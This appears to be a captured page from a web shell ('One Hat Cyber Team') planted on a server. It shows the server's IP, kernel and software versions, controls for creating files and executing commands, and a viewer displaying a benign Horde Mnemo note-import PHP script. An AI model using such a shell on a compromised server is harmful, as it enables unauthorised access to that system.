⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
View File Name :
mnemo-import-text-note
#!/usr/bin/env php */ if (file_exists(__DIR__ . '/../../mnemo/lib/Application.php')) { $baseDir = __DIR__ . '/../'; } else { require_once 'PEAR/Config.php'; $baseDir = PEAR_Config::singleton() ->get('horde_dir', null, 'pear.horde.org') . '/mnemo/'; } require_once $baseDir . 'lib/Application.php'; Horde_Registry::appInit('mnemo', array('cli' => true)); // Read command line parameters. if (count($argv) != 4) { $cli->message('Too many or too few parameters.', 'cli.error'); usage(); } $notepad = $argv[1]; $user = $argv[2]; $file = $argv[3]; // Read standard input. if (!file_exists($file)) { $cli>message("$file does not exist", 'cli.error'); usage(); } $data = file_get_contents($file); if (empty($data)) { $cli->message('No import data provided.', 'cli.error'); usage(); } $data = pathinfo($file, PATHINFO_FILENAME) . "\n\n" . $data; // Set user. $registry->setAuth($user, array()); // Import data. try { $result = $registry->notes->import($data, 'text/plain', $notepad); $cli->message('Imported successfully ' . count($result) . ' notes', 'cli.success'); } catch (Mnemo_Exception $e) { $cli->fatal($e->getMessage()); } function usage() { $GLOBALS['cli']->writeln('Usage: mnemo-import-text-note notepad user file'); exit; }